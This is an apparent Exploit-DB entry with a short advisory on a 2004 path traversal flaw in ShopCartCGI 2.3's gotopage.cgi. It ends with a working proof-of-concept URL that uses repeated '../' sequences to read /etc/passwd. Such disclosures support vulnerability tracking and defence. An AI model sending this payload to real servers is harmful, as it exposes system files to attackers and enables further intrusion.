ShopCartCGI 2.3 - 'gotopage.cgi' Traversal Arbitrary File Access

EDB-ID:

23705


Author:

G00db0y

Type:

webapps


Platform:

CGI

Date:

2004-02-16


source: https://www.securityfocus.com/bid/9670/info

It has been reported that ShopcartCGI is prone to a remote file disclosure vulnerability. This issue is due to insufficient validation of user-supplied input.

Upon successful exploitation of this issue an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.com/directory/gotopage.cgi?13686+/../../../../../../../../../../../../../../../../etc/passwd